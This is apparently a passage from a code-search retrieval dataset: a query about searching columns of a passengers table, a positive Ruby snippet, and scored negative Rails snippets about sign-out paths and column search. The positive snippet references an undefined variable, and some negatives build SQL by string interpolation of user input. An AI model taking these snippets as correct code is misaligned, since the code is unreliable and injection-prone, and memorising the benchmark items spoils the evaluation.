"docid": "54d04953c6fbf988b79381349ad12052",
"score": "0.75638676",
"text": "def after_sign_out_path_for(resource)\n new_user_account_session_url\n end",
"title": ""
},
{
"docid": "3622199af46932bbf36ea246fc51ae91",
"score": "0.7562174",
"text": "def after_sign_out_path_for resource_or_scope\n new_user_session_path\n end",
"title": ""
},
{
"docid": "f9f2754db8ab161f69ddd18fb8994462",
"score": "0.75604814",
"text": "def sign_out\n logout\n end",
"title": ""
},
{
"docid": "019f14acbd76e0c85285ad95ccd59184",
"score": "0.75579655",
"text": "def after_sign_out_path_for(resource_or_scope)\n login_path\n end",
"title": ""
},
{
"docid": "041f4a0d4db9c20cd1173e56a523b721",
"score": "0.75575614",
"text": "def after_sign_out_path_for(resource_or_scope)\n # root_path\n new_user_session_path\n end",
"title": ""
},
{
"docid": "041f4a0d4db9c20cd1173e56a523b721",
"score": "0.75575614",
"text": "def after_sign_out_path_for(resource_or_scope)\n # root_path\n new_user_session_path\n end",
"title": ""
},
{
"docid": "72c49c6a993782af406f4b87eb302eef",
"score": "0.7553498",
"text": "def full_sign_out\n delete '/session'\n end",
"title": ""
},
{
"docid": "508e2fa929a8be50d4f19ecc49aca052",
"score": "0.7552281",
"text": "def after_sign_out_path_for(resource_or_scope)\n \troot_path\n end",
"title": ""
},
{
"docid": "29961dd8a43a6f8344a5417b3457a1b8",
"score": "0.754936",
"text": "def after_sign_out_path_for(_resource_or_scope)\n new_user_session_url\n end",
"title": ""
},
{
"docid": "4d45c1c4d0e84fab16770fcc315172f0",
"score": "0.75488466",
"text": "def after_sign_out_path_for(_resource_or_scope)\n # scope = Devise::Mapping.find_scope!(resource_or_scope)\n # router_name = Devise.mappings[scope].router_name\n # context = router_name ? send(router_name) : self\n # context.respond_to?(:root_path) ? context.root_path : \"/\"\n\n # the goal of this method being redefined is to get rid of \"You need to sign in or sign up before continuing.\" flash message\n # that is displayed right after you sign out(root path is authorization-restricted).\n new_user_session_path\n end",
"title": ""
},
{
"docid": "5cd5a1883b9539049848c2b25d36fc6b",
"score": "0.75487584",
"text": "def after_sign_out_path_for(resource_or_scope)\n :root\n end",
"title": ""
},
{
"docid": "5c7b97f4274714e9fd88d9a653a02686",
"score": "0.7545844",
"text": "def after_sign_out_path_for(resource)\n \"http://www.happyhealth.me\" \n end",
"title": ""
},
{
"docid": "2af3dddf6ead6f516f612f838ab0fb08",
"score": "0.7541643",
"text": "def after_sign_out_path_for(resource_or_scope)\n session=nil\n root_path\n end",
"title": ""
},
{
"docid": "2af3dddf6ead6f516f612f838ab0fb08",
"score": "0.7541643",
"text": "def after_sign_out_path_for(resource_or_scope)\n session=nil\n root_path\n end",
"title": ""
}
] |
196c00b334f7c1f9cca45c745611eef6
|
search some columns in passengers table this is not done..
|
[
{
"docid": "e24a1bd56c558ac46eb821e5de80799b",
"score": "0.5537173",
"text": "def some_passengers_cont\n some_attributes = []\n attributes_to_exclude = [\n \"created_at\",\n \"updated_at\",\n \"id\"\n ]\n Passenger.column_names.each do |column_name|\n most_attributes << column_name unless column_name.in?(attributes_to_exclude)\n end\n most_attributes.join(\"_or_\") + \"_cont_any\"\n end",
"title": ""
}
] |
[
{
"docid": "981be7f1d9fcd1afb1d86d802dbd3918",
"score": "0.6724191",
"text": "def extract_searchable(columns)\n\t\t\tsearchable = []\t\n\t\t\tcolumns.each do |key, val|\n\t\t\t\tname = val[:data].to_sym\n\t\t\t\tif val[:searchable] == \"true\"\n\t\t\t\t\tsearchable << name\n\t\t\t\tend\n\t\t\tend\n\t\t\tsearchable\n\t\tend",
"title": ""
},
{
"docid": "abe3eef865587304d8b2531ee6f24532",
"score": "0.6354436",
"text": "def search_column_condition(word)\n self.class.search_tables_and_fields.map do |table_name, field|\n table = Arel::Table.new(table_name)\n table[field].matches(Arel::Nodes::Quoted.new(\"%#{word}%\"))\n end\n end",
"title": ""
},
{
"docid": "32973149adeee44dc03214a301eec81e",
"score": "0.63502395",
"text": "def searchable_columns\n # Declare strings in this format: ModelName.column_name\n @searchable_columns ||= ['DataTrack.name','DataTrack.description', 'Take.name','Take.description']\n end",
"title": ""
},
{
"docid": "8e13e909cc201cb0b432fa007a5582bc",
"score": "0.629885",
"text": "def searchable_columns(unwanted_columns)\r\n column_names.reject{ |column| unwanted_columns.include?(column) }\r\n end",
"title": ""
},
{
"docid": "6c49e449a413921ad8f25a87ab9f41b7",
"score": "0.62686867",
"text": "def search_columns(fw)\n fw.puts \" switch (nCol) {\"\n @columns.each_index { |col| @columns[col].search(fw, self, col) }\n fw.puts \" }\"\n end",
"title": ""
},
{
"docid": "8aedfa616b8bcfd391b8f90c99685962",
"score": "0.6265338",
"text": "def selection_criteria\n available_columns.collect do |column|\n \"(#{column} like '%v2:{%')\"\n end.join(\" OR \")\n end",
"title": ""
},
{
"docid": "06addb866504c8898ddca2ee88dea55c",
"score": "0.6234895",
"text": "def search_table_column(table, columns, term)\n\t\t\t# Find all the records that match the search term with any of the columns\n\t\t\tids = columns.flat_map do |column|\t\t\t\t\n\t\t\t\ttable\n\t\t\t\t.where(\"#{column} ILIKE ?\", \"%#{term}%\") # Match term using ILIKE query, which is case-insensitive (postgresql only) \n\t\t\t\t.pluck(:id) # Pull out the ids of matching results\n\t\t\tend.uniq # Eliminate duplicate entries\n\t\t\t\n\t\t\t# Return tables that came up in any of the column queries\n\t\t\ttable\n\t\t\t.where(id: ids)\n\t\t\t.limit(@limit) # Limit number of results\n\t\tend",
"title": ""
},
{
"docid": "5bfd6d87c539af0c9284eb87d0565b1b",
"score": "0.61920154",
"text": "def filter_by *columns; @columns_for_filter = ensure_columns_are_filterable!(columns); end",
"title": ""
},
{
"docid": "fb11639e0046efdade827d71b6a95e97",
"score": "0.6153479",
"text": "def search_letter(letter)\n # @model_name.camelcase.constantize.where(\"#{@column_name} like ? \", \"#{letter}%\")\n # temp solution remove below line. When column strts with space we are facing this problems\n @model_name.camelcase.constantize.where(\"#{@column_name} like ? or #{@column_name} like ?\", \"#{letter}%\",\" #{letter}%\")\n\n end",
"title": ""
},
{
"docid": "44d1b39287b7c3714f4281c37730947d",
"score": "0.6150371",
"text": "def search_db_fields\n people = User.scoped\n\n # check user_type\n if !params[:user_type].blank?\n where_clause_string = \"\"\n if params[:user_type].include? \"F\" or params[:user_type].include? \"S\" or params[:user_type].include? \"T\"\n # if (params[:user_type] =~ /[FST]/) == 0\n where_clause_string << \"(\"\n where_clause_string << \" is_faculty = 't' OR \" if params[:user_type].include?(\"F\")\n where_clause_string << \" is_student = 't' OR \" if params[:user_type].include?(\"S\")\n where_clause_string << \" is_staff = 't' OR \" if params[:user_type].include?(\"T\")\n # remove last OR\n where_clause_string= where_clause_string[0..-4]\n where_clause_string << \")\"\n end\n people = people.where(where_clause_string) unless where_clause_string.blank?\n # user_type - P => Part Time students\n people = people.where(\"is_part_time = 't'\") if params[:user_type].include?(\"P\")\n # user_type - L => Full Time students\n people = people.where(\"is_part_time = 'f'\") if params[:user_type].include?(\"L\")\n end\n\n # search more db fields (checks all entered keywords with db fields)\n if !params[:filterBoxOne].blank?\n params[:filterBoxOne].split.each do |query|\n query = \"%#{query}%\"\n people = people.where(\"first_name ILIKE ? OR last_name ILIKE ? OR human_name ILIKE ? OR biography ILIKE ? OR email ILIKE ? OR title ILIKE ? OR webiso_account ILIKE ? OR organization_name ILIKE ? OR personal_email ILIKE ? OR work_city ILIKE ? OR work_state ILIKE ? OR work_country ILIKE ?\", query, query, query, query, query, query, query, query, query, query, query, query)\n end\n end\n\n # advanced search filter parameters\n people = people.where(\"graduation_year = ?\", \"#{params[:graduation_year]}\") unless params[:graduation_year].blank?\n people = people.where(\"masters_program = ?\", \"#{params[:masters_program]}\") unless params[:masters_program].blank?\n people = people.where(\"is_active = 't'\") unless params[:search_inactive] == 't'\n people = people.joins(:registrations).where(\"registrations.course_id=?\", \"#{params[:course_id]}\") unless params[:course_id].blank?\n # people = people.joins(:teams).where(\"teams.course_id=?\",\"#{params[:course_id]}\") unless params[:course_id].blank?\n people = people.order(\"first_name ASC, last_name ASC\")\n end",
"title": ""
},
{
"docid": "d0262a97fcd3bd7fb4cde01120b2ec08",
"score": "0.6030246",
"text": "def find_by_query_columns\n ['first_name', 'middle_name', 'last_name', 'summary', 'status']\n end",
"title": ""
},
{
"docid": "82443b28c0ceee329bacc8a88d8d3d79",
"score": "0.59432864",
"text": "def searchable_on(*fields)\n # Make sure that the table to be searched actually exists\n if self.table_exists?\n \n # Get a collection of fields to be searched on.\n if fields.first.class.to_s == 'Hash'\n if fields.first.has_key?(:only)\n # only search on these fields.\n fields = fields.first[:only]\n elsif fields.first.has_key?(:except)\n # Get all the fields and remove any that are in the -except- list.\n fields = self.column_names.collect { |column| fields.first[:except].include?(column.to_sym) ? nil : column.to_sym }.compact\n end\n end\n \n # Get an array of associate modules.\n assoc_models = self.reflections.collect { |key,value| key }\n \n # Subtract out the fields to be searched on that are part of *this* model.\n # Any thing left will be associate module fields to be searched on.\n assoc_fields = fields - self.column_names.collect { |column| column.to_sym }\n \n # Subtraced out the associated fields from the fields so that you are only left\n # with fields in *this* model.\n fields -= assoc_fields\n \n # Loop through each of the associate models and group accordingly each\n # associate model field to search. Assuming the following relations:\n # has_many :clients\n # has_many :notes,\n # belongs_to :user_type \n # assoc_groupings will look like\n # assoc_groupings = {:clients => [:first_name, :last_name],\n # :notes => [:descr],\n # :user_type => [:identifier]}\n assoc_groupings = {}\n assoc_models.each do |assoc_model|\n assoc_groupings[assoc_model] = []\n \tassoc_fields.each do |assoc_field|\n \t unless assoc_field.to_s.match(/^#{assoc_model.to_s}_/).nil?\n assoc_groupings[assoc_model] << assoc_field.to_s.sub(/^#{assoc_model.to_s}_/, '').to_sym \n end\n end\n end\n \n # If a grouping does not contain any fields to be searched on then remove it.\n assoc_groupings = assoc_groupings.delete_if {|group, field_group| field_group.empty?}\n \n # Set the appropriate class attributes. \n self.cattr_accessor :scoped_search_fields, :scoped_search_assoc_groupings\n self.scoped_search_fields = fields\n self.scoped_search_assoc_groupings = assoc_groupings\n self.named_scope :search_for, lambda { |keywords| self.build_scoped_search_conditions(keywords) }\n end\n end",
"title": ""
},
{
"docid": "2b3b4d25ca94ae1de80f979d7283895f",
"score": "0.59385145",
"text": "def search_in(*cols)\n @searches = cols.flatten\n end",
"title": ""
},
{
"docid": "765b99ae734dece961ee315106f9a809",
"score": "0.5936181",
"text": "def search_person(arr,person)\n return filter_column_with_value(arr,person,0);\nend",
"title": ""
},
{
"docid": "e5ca5b69edd4a73ce5015264d64bea53",
"score": "0.59342736",
"text": "def translated_searchable_columns(unwanted_columns)\r\n\t\t\tunwanted_columns.push('created_at')\r\n\t\t\tunwanted_columns.push('updated_at')\r\n #Calls the method that removes the unwanted columns\r\n columns = searchable_columns(unwanted_columns)\r\n #Maps the columns and returns it as a hash\r\n columns.map{ |column| [human_attribute_name(column.to_sym), column] }\r\n end",
"title": ""
},
{
"docid": "a01d45ce2e426e3dd813de1f0a0963ac",
"score": "0.59161437",
"text": "def includes_column?(name); end",
"title": ""
},
{
"docid": "1374b152c546be2d2cd2e57101850941",
"score": "0.58584297",
"text": "def index\n \n valid_fields = [ 'dni', 'name', 'lastname', 'phone_number' ]\n @search_field = params[:passenger_field]\n @search_value = params[:passenger_value]\n\n @exist_passengers = true\n\n if Passenger.count == 0\n @exist_passengers = false\n elsif valid_fields.include?(@search_field) && @search_value\n @passengers = Passenger.where( \"#{@search_field} LIKE ? ESCAPE '!'\", '%' + @search_value.gsub(/[!%_]/) { |x| '!' + x } + '%' )\n if @passengers.size == 0\n @warning = 'No se encontraron pasajeros.'\n end \n else\n @passengers = Passenger.all\n end \n\n # if valid_fields.include?(@search_field) && @search_value\n # @passengers = Passenger.where( \"#{@search_field} LIKE '%#{@search_value}%' \" )\n # if @passengers.size == 0 \n # @warning = 'No se encontraron pasajeros.'\n # else\n # @info = \"Se encontraron #{@passengers.size} pasajeros.\"\n # end\n # else\n # @passengers = Passenger.all\n # end\n\n respond_to do |format|\n format.html # index.html.erb\n format.json { render json: @passengers }\n end\n end",
"title": ""
},
{
"docid": "2fcd48af6961b9ca3cc8370c56474896",
"score": "0.5850414",
"text": "def search_support?\n search_columns.present?\n end",
"title": ""
},
{
"docid": "2fcd48af6961b9ca3cc8370c56474896",
"score": "0.5850414",
"text": "def search_support?\n search_columns.present?\n end",
"title": ""
},
{
"docid": "8852689dfb3d3322d87ab70cfb4558af",
"score": "0.5842332",
"text": "def search_column_clause\n search_columns.map do |f|\n if f.to_s.include?('.')\n \"#{f} LIKE ?\"\n else\n \"#{model_class.table_name}.#{f} LIKE ?\"\n end\n end.join(' OR ')\n end",
"title": ""
},
{
"docid": "ac75687f2db80e32567bb2fe20864b61",
"score": "0.58275825",
"text": "def index\n @frotas = Frota.all\n @frotas = Frota.where(\"upper(nome) like upper(?) or upper(veiculo) like upper(?) or upper(placa) like upper(?) or renavam::varchar like ? or upper(chassi) like upper(?) or upper(rota) like upper(?) or upper(motorista) like upper(?) or upper(roteirista) like upper(?)\", \"%#{params[:search]}%\", \"%#{params[:search]}%\", \"%#{params[:search]}%\", \"%#{params[:search]}%\", \"%#{params[:search]}%\", \"%#{params[:search]}%\", \"%#{params[:search]}%\", \"%#{params[:search]}%\")\n\n end",
"title": ""
},
{
"docid": "e0421d429a77cb5fdc2faa0ba0bdcd5c",
"score": "0.5814192",
"text": "def find_by_query_columns\n ['name', 'description', 'tagline']\n end",
"title": ""
},
{
"docid": "859a36834805b6659862090c4e2bb8ef",
"score": "0.58034927",
"text": "def search_cols_by_user_role\n search_cols = '[null, null, {\"search\": $(\\'#profile_type\\').val()},null,null,null'\n search_cols += ',null' if can? :update, Profile\n search_cols += ',null' if can? :destroy, Profile\n search_cols += ']'\n end",
"title": ""
},
{
"docid": "2cb6b025690ca795bb0899177afe7dfa",
"score": "0.5787262",
"text": "def find_by_query_columns\n ['name', 'description']\n end",
"title": ""
},
{
"docid": "eef3c837fca9eccb2dacca31be998a32",
"score": "0.5784321",
"text": "def index\n @kechengs = Kecheng.all\n if params[:name].present?\n @kecheng = Kecheng.where(\"name like ?\",\"%#{params[:name]}%\")\n end\n if params[:teacher].present?\n @kecheng = Kecheng.where(\"teacher like ?\",\"%#{params[:teacher]}%\")\n end\n if params[:time].present?\n @kecheng = Kecheng.where(\"time like ?\",\"%#{params[:time]}%\")\n end\n end",
"title": ""
},
{
"docid": "dfa246bd237534d14f835057a4c0e786",
"score": "0.5776756",
"text": "def search\n \n end",
"title": ""
},
{
"docid": "a836617c9570dbf5284b96294c086789",
"score": "0.5776254",
"text": "def find( parameters )\n filtered = @table.select do |r|\n accept = true\n parameters.each do |field, value|\n # simple query\n unless value.is_a? String and value.include? '.'\n accept = false unless r.has_key? field and r[ field ] == value\n # value is another field\n else\n accept = false unless r.has_key? field and r.has_key? value and r[ field ] == r[ value ]\n end\n end\n accept\n end\n Table.new filtered, @actual_table\n end",
"title": ""
},
{
"docid": "519f82160c854bcdce391d96c03acf92",
"score": "0.57715106",
"text": "def search_text_fields\n klass.filter_options[:filter_box].collect { |hash| hash[:key] }\n #self.content_columns.select {|c| [:string,:text].include?(c.type) }.map {|c| c.name }\n end",
"title": ""
},
{
"docid": "739f0a1f18c43cf12f744400bd8d2afe",
"score": "0.5756089",
"text": "def match_column_ind(value)\n begin\n columns = [\"municipality_name\", \"name\", \"street_address\"]\n target = \"\"\n conn = open_db() # open database for updating\n columns.each do |column| # determine which column contains the specified value\n query = \"select \" + column +\n \" from common\n join ind on common.id = ind.common_id\"\n conn.prepare('q_statement', query)\n rs = conn.exec_prepared('q_statement')\n conn.exec(\"deallocate q_statement\")\n results = rs.values.flatten\n (results.include? value) ? (return column) : (target = \"\")\n end\n return target\n rescue PG::Error => e\n puts 'Exception occurred'\n puts e.message\n ensure\n conn.close if conn\n end\nend",
"title": ""
},
{
"docid": "1446e7dab76b6d1a03dbd06c0ac1f2a1",
"score": "0.575559",
"text": "def wheres; end",
"title": ""
},
{
"docid": "1446e7dab76b6d1a03dbd06c0ac1f2a1",
"score": "0.575559",
"text": "def wheres; end",
"title": ""
},
{
"docid": "1446e7dab76b6d1a03dbd06c0ac1f2a1",
"score": "0.575559",
"text": "def wheres; end",
"title": ""
},
{
"docid": "9c3f40e4675de196badf1eb514439fd2",
"score": "0.57465667",
"text": "def search\n\t\t\n\tend",
"title": ""
},
{
"docid": "91a140c0734adce825879dd23e4ff86f",
"score": "0.5728596",
"text": "def search_support?\n search_columns.present?\n end",
"title": ""
},
{
"docid": "54a4b14badac44b5b584438a2dd8399e",
"score": "0.57127154",
"text": "def sql_search(arg, *columns) # :doc:\n result = []\n if x = parse_arg(arg)\n for col in columns\n result << build_sql([\"#{col} LIKE ?\", \"%#{x}%\"])\n end\n end\n return result\n end",
"title": ""
},
{
"docid": "ad460365bb9c237d1824546e277b1074",
"score": "0.56733114",
"text": "def search_sort_columns\n %w[name_sortable air_date file_hash external_id]\n end",
"title": ""
},
{
"docid": "0bda6920f3af5d8b0548e62109de35f1",
"score": "0.5661911",
"text": "def searchCol (twoLetters)\n\t\ti = 0\n\t\ta = 0\n\t\twhile twoLetters[0] != @matrizAbcd[a][i]\n\t\t\ti += 1\n\t\t\t# Si no encuentra la letra en la fila, cambia a la siguiente y reinicia puntero\n\t\t\tif i >= @matrizAbcd[a].length\n\t\t\t\ta +=1\n\t\t\t\ti = 0\n\t\t\tend\n\t\tend\n\t\ta = 0\n\t\t# Busca la segunda letra en la columna\n\t\twhile twoLetters[1] != @matrizAbcd[a][i]\n\t\t\ta += 1\n\t\t\t# Si no encuentra la segunda letra, regresa false\n\t\t\tif a >= @matrizAbcd.length\n\t\t\t\treturn false\n\t\t\tend\n\t\tend\n\t\tif twoLetters[1] == @matrizAbcd[a][i]\n\t\t\treturn true\n\t\tend\n\tend",
"title": ""
},
{
"docid": "d6bba51135cd6c0400b2c653c6a1069f",
"score": "0.5644098",
"text": "def column_sql(columns)\n searchable.key.map {|key_property| key_property.field}.concat(columns.map {|column| searchable.send(column).field }).join(\", \")\n end",
"title": ""
},
{
"docid": "706d54426f55fc2cf887be55a9b849e3",
"score": "0.5642183",
"text": "def search_where(table, search_for, user_search)\n if user_search.is_a?(Integer)\n search = user_search\n else search = \"'#{user_search}'\"\n end\n \n search_results = []\n results = DATABASE.execute(\"SELECT * FROM #{table} WHERE #{search_for} = #{search}\")\n results.each do |r|\n search_results << self.new(r) if r != nil\n end\n search_results\n end",
"title": ""
},
{
"docid": "2d7f7d053d582412403b2eb2277966ad",
"score": "0.56372166",
"text": "def search(all_params)\n relevant_params = (all_params || {}).slice(*searchables)\n searchable_params = relevant_params.select {|name, v| v.to_s.present? }\n\n scoped = all\n searchable_params.each do |name, value|\n if column_names.include?(name.to_s)\n val = columns_hash[name.to_s].type == :boolean ? Winnow.boolean(value) : value\n scoped = scoped.where(name => val)\n elsif contains_scopes.include?(name.to_s)\n column = name.to_s.gsub(\"_contains\", \"\")\n if mysql_adapter? && fts_index?(column) && (!fts_contains_tokens_for(value).empty?)\n scoped = scoped.where(fts_scope_for(column), fts_contains_tokens_for(value), \"%#{value}%\")\n else\n scoped = scoped.where(\"#{table_name}.#{column} like ?\", \"%#{value}%\")\n end\n elsif starts_with_scopes.include?(name.to_s)\n column = name.to_s.gsub(\"_starts_with\", \"\")\n\n # use full-text index to narrow down search if btree index is not available.\n if mysql_adapter? && !btree_index?(column) && fts_index?(column) && (! fts_starts_with_tokens_for(value).empty?)\n scoped = scoped.where(fts_scope_for(column), fts_starts_with_tokens_for(value), \"#{value}%\")\n else\n scoped = scoped.where(\"#{table_name}.#{column} like ?\", \"#{value}%\")\n end\n elsif scoped.respond_to?(name)\n scoped = scoped.send(name, value)\n else\n raise RuntimeError.new(\"Unknown searchable: #{name}\")\n end\n end\n Winnow::FormObject.new(self, scoped, relevant_params)\n end",
"title": ""
},
{
"docid": "0322730ed8970deb6e999aebda7f17f1",
"score": "0.5631809",
"text": "def check_columns_for_winner\n # TODO\n end",
"title": ""
},
{
"docid": "9c92753853c3939259823c3bdee4100b",
"score": "0.5622546",
"text": "def search_by_columns(column_hash:, select: '', limit: 50_000, populate_null_columns: false)\n where_string = column_hash.map do |k, v|\n column_name = \"#{k}_alias\"\n \"#{@column_name_hash[column_name]} = '#{v}'\"\n end.join(' AND ')\n\n data = @soda_client.get(\n Figaro.env.issuer_dataset,\n '$limit' => limit,\n '$select' => select,\n '$where' => where_string\n )\n return create_missing_columns(data) if populate_null_columns\n\n data\n end",
"title": ""
},
{
"docid": "65476b574c3b9d20c92290078f7867c0",
"score": "0.5622292",
"text": "def search(params)\n terms = []\n where_clause = []\n # Add any column conditions that they passed\n # Pay attention to column type\n idx = 0\n cols = self::COLS\n types = self::TYPES\n while idx < cols.length do\n c = cols[idx]\n if params[c] && !params[c].nil?\n # The user provided a value for this column\n if types[idx] == :float || types[idx] == :integer\n # Numerics are straight equals\n terms.push(params[c])\n where_clause.push(\"#{c} = ?\")\n elsif types[idx] == :boolean\n # Booleans just need column name or not column name\n if ActiveRecord::Type::Boolean.new.cast(params[c])\n where_clause.push(\"#{c}\")\n else\n where_clause.push(\"NOT #{c}\")\n end\n else\n # Strings should be lowercased and use LIKE\n terms.push(params[c].downcase)\n where_clause.push(\"lower(#{c}) LIKE ?\")\n end\n end\n idx += 1\n end\n begin\n lo = self.getSqlLimitAndOffset(params)\n # Try to perfom the search based on the user criteria\n if where_clause.length > 0\n return self.where(where_clause.join(' AND '), *terms).limit(lo[0]).offset(lo[1])\n else\n return self.where('true').limit(lo[0]).offset(lo[1])\n end\n rescue\n # Something went wrong, instead of throwing an error and doing\n # nothing, return a nil so that the controller will inform the client\n return nil\n end\n end",
"title": ""
},
{
"docid": "35e4b7b140f0796def8d4d0fdab02793",
"score": "0.5621962",
"text": "def searchables\n searches = self.columns.\n select(&:searchable).\n map{ |c| {column_source: c.column_source, method_name: c.method_name} }\n searches += self.class.searches\n @searches ||= searches.uniq\n end",
"title": ""
},
{
"docid": "e952eeca15727da973c001218aafd322",
"score": "0.5621119",
"text": "def keyword_conditions\n unless keyword.blank?\n searchable_columns = %w(name description) # add any freetext-searchable fields here\n keyword.strip!\n search_str = searchable_columns.map { |x| \"#{x} LIKE :keyword\"}.to_sentence(:words_connector => \" OR \", :two_words_connector => \" OR \", :last_word_connector => \" OR \")\n FundingSource.where(search_str, :keyword => \"%#{keyword}%\")\n end\n end",
"title": ""
},
{
"docid": "c7b471ffe37745ab09336446ae8be962",
"score": "0.5620265",
"text": "def search\n \n end",
"title": ""
},
{
"docid": "4b9ac225cba5e894d15b1559c3938371",
"score": "0.5618945",
"text": "def query_table_columns table\n raise NotImplementedError\n end",
"title": ""
},
{
"docid": "b2becd7590204711b5dcf370472c96a8",
"score": "0.5611185",
"text": "def conditions_for_columns(tokens, columns, text_search = :full)\n # if there aren't any columns, then just return a nil condition\n return unless columns.any?\n\n tokens = [tokens] if tokens.is_a? String\n tokens = type_casted_tokens(tokens, columns, like_pattern(text_search))\n create_conditions_for_columns(tokens, columns)\n end",
"title": ""
},
{
"docid": "db00a337f23c6c88f0c37a593e149a6e",
"score": "0.5604254",
"text": "def search_in_database(map)\n user_condictions = build_condictions(map, ModelFabric.get_class(SocialFramework.user_class))\n event_condictions = build_condictions(map, ModelFabric.get_class(SocialFramework.event_class))\n\n begin\n if user_condictions != \"()\"\n @users_in_database ||= ModelFabric.get_class(SocialFramework.user_class).where([user_condictions, map]).to_a\n\n while (@users_found.size + @events_found.size) < @elements_number and not @users_in_database.empty?\n @users_found << @users_in_database.shift\n end\n end\n\n if((@users_found.size + @events_found.size) < @elements_number and\n event_condictions != \"()\")\n map[:particular] = false\n event_condictions += \" AND particular = :particular\"\n @events_in_database ||= ModelFabric.get_class(SocialFramework.event_class).where([event_condictions, map]).to_a\n\n while (@users_found.size + @events_found.size) < @elements_number and not @events_in_database.empty?\n @events_found << @events_in_database.shift\n end\n @finished_search = @events_in_database.empty?\n end\n rescue\n Rails.logger.warn \"Parameter invalid!\"\n end\n end",
"title": ""
},
{
"docid": "778c3866df48d428469aff9c1532e68d",
"score": "0.5603705",
"text": "def sql_query\n query = \"#{@columns[0]} ILIKE :term \"\n return query unless @columns.length > 1\n\n @columns[1..-1].each { |col| query += \"OR #{col} ILIKE :term \" }\n query\n end",
"title": ""
},
{
"docid": "308b529fcd28f8eaee395d2bd86fd0b0",
"score": "0.56028557",
"text": "def get_conditions(model)\n # Parse the columns passed by datatables to build SQL where clause.\n params[:columns].each do |column|\n if column[1][:name].present? && column[1][:search][:value].present?\n # Use like %% if string is passed, = otherwise.\n # if is_numeric?(column[1][:search][:value])\n # model = model.where(\"#{column[1][:name]}=?\", column[1][:search][:value])\n # else\n model = model.where(\"#{column[1][:name]}::character varying ilike ?\", \"%#{column[1][:search][:value]}%\")\n # end\n end\n end\n\n return model\n end",
"title": ""
},
{
"docid": "d584500e0a0a6fda18b8f1baf7f7d324",
"score": "0.55853647",
"text": "def find_cols(col_hash)\n clause = col_hash.map{|k,v| \"#{k.to_s} = \" \"'#{v}'\"}.join(\" AND \")\n execute(\"SELECT * FROM #{table_name} WHERE (#{clause})\n LIMIT 1\").first\n end",
"title": ""
},
{
"docid": "77a233fd17274c04dab9bbea88c25c1b",
"score": "0.5583778",
"text": "def column_params\n new({}).columns.map(&:as_json).each_with_index.reduce({}) do |accum, (h, i)|\n accum[i] = { **h, search: { value: '', regex: 'false' } }\n accum\n end\n end",
"title": ""
},
{
"docid": "61c5aca86ce335b7c82231ac6e44ffbe",
"score": "0.55835193",
"text": "def parse_search\n return false unless params[:search]\n @conditions ||= []\n %w(name).each do |column|\n @conditions << ActiveRecord::Base.send( :sanitize_sql_array, [ \"LOWER(#{ column }) LIKE ?\", \"%%#{ params[:search] || \"\" }%%\" ] )\n end\n end",
"title": ""
},
{
"docid": "87edb65d8f099e73a2ffc6a7b6358eb1",
"score": "0.5579138",
"text": "def fields_to_search\n %w[\n name^4\n surname^12\n role_and_group^6\n phone_number_variations^5\n languages^5\n current_project^4\n location^4\n formatted_key_skills^4\n formatted_learning_and_development^4\n ]\n end",
"title": ""
},
{
"docid": "50a390c8a6c37d611dfbb2c7f5c6a8e0",
"score": "0.5554607",
"text": "def filter_by_conditions (filter_columns)\n\t\tquery = filter_columns.keys.map {|c| c =~ /id$/ ? \"#{c} = ?\" : \"#{c} LIKE ?\"}.join(' AND ')\n\t\tdata = filter_columns.keys.map {|c| c =~ /id$/ ? \"#{filter_columns[c]}\" : \"%#{filter_columns[c]}%\"}\n\t\t[query] + data\n\tend",
"title": ""
},
{
"docid": "cbc15ef1a4b28875ea311b6efaf76a03",
"score": "0.55536765",
"text": "def search_data(fw, vt, sqlite3_type,\n column_cast, column_cast_back)\n notC = \"\"\n space = \"#{$s} \"\n access_pathF, access_pathN, \n idenF, idenN = vt.configure_search(\"data\", @access_path, \"\")\n add_to_result_setF, add_to_result_setN = vt.configure_result_set()\n iterationF, iterationN = vt.configure_iteration(@access_path)\n fw.puts \" if (first_constr == 1) {\"\n token_ac_p = Array.new\n array_string_copy_deep(@tokenized_access_path, token_ac_p)\n configure_token_access_checks(token_ac_p, idenF)\n search_data_constr(fw, vt.container_class, \n\t\t access_pathF,\n token_ac_p,\n\t\t sqlite3_type,\n column_cast, column_cast_back, \n add_to_result_setF, \n iterationF, \n notC, space)\n if !vt.container_class.empty?\n fw.puts \" } else {\"\n else\n fw.puts \" } else if (stcsr->size == 1) {\"\n end\n notC = \"!\"\n token_ac_p.clear\n array_string_copy_deep(@tokenized_access_path, token_ac_p)\n configure_token_access_checks(token_ac_p, idenN)\n search_data_constr(fw, vt.container_class,\n\t\t access_pathN, \n token_ac_p,\n\t\t sqlite3_type,\n column_cast, column_cast_back, \n add_to_result_setN, \n iterationN, \n notC, space)\n fw.puts \" }\"\n fw.puts \" break;\" \n end",
"title": ""
},
{
"docid": "a0cf7a71f9289a5944e1d979de4f6805",
"score": "0.5552651",
"text": "def attributes_for_search\n non_meta_columns.map do |c|\n {name: c.name, text: c.text, type: c.type}.tap do |a|\n if c[:assoc]\n a[:text].sub!(\" \", \" \")\n end\n end\n end\n end",
"title": ""
},
{
"docid": "55ee1ebd81798591f99388c81764a522",
"score": "0.55489874",
"text": "def check_col\n\n\nend",
"title": ""
},
{
"docid": "86459fbba127c2ca4561677137de0acf",
"score": "0.554724",
"text": "def view_all_by_attr_value(first_name,last_name,email,notes)\n\n\n @rolodex.each {|contact|\n\n if contact.first_name.downcase.include? (first_name.downcase) or contact.last_name.downcase.include? (last_name.downcase) or contact.email.downcase.include? (email.downcase) or contact.notes.downcase.include? (notes.downcase)\n @@filtered_array << contact\n\n end\n\n }\n \n\n end",
"title": ""
},
{
"docid": "1dfb82daabbc28345b2fd2813bfaceea",
"score": "0.5537223",
"text": "def search_on\n @search_on ||= self.model.columns.collect{|c| c.name if [:text, :string].include? c.type}.compact\n end",
"title": ""
},
{
"docid": "1c4b9dc217c510d0046bab0ab5d4e41f",
"score": "0.5527123",
"text": "def search_condition\n if search_support? && params[:q].present?\n terms = params[:q].split(/\\s+/).collect { |t| \"%#{t}%\" }\n clause = search_columns.collect do |f|\n col = f.to_s.include?('.') ? f : \"#{model_class.table_name}.#{f}\"\n \"#{col} LIKE ?\"\n end.join(\" OR \")\n clause = terms.collect {|t| \"(#{clause})\" }.join(\" AND \")\n\n [\"(#{clause})\"] + terms.collect {|t| [t] * search_columns.size }.flatten\n end\n end",
"title": ""
},
{
"docid": "7511da54a1fb3cd9079cd9f16e802b71",
"score": "0.5521295",
